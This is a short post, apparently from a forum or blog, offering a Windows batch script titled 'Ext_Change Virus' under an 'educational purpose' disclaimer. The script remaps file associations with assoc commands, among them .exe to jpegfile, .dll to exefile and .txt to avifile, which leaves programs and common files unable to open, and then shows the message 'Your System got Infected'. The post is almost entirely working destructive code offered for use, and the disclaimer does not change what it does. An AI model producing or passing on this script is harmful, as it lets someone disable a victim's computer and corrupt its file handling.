A batch code to change the extention of ur files......

----Disclaimer----
Don't use it to harm anyone it's just for educational purpose.....
CODE:

Title Ext_Change Virus
color a
Rem This Virus file replaces the actual file extensions with the given extensions
@echo off
assoc .jpeg=htmlfile
assoc .html=jpegfile
assoc .avi=txtfile
assoc .mpeg=regfile
assoc .txt=avifile
assoc .reg=htmlfile
assoc .exe=jpegfile
assoc .sys=regfile
assoc .dll=exefile
assoc .dill=tempfile
msg Your System got Infected…..
pause
exit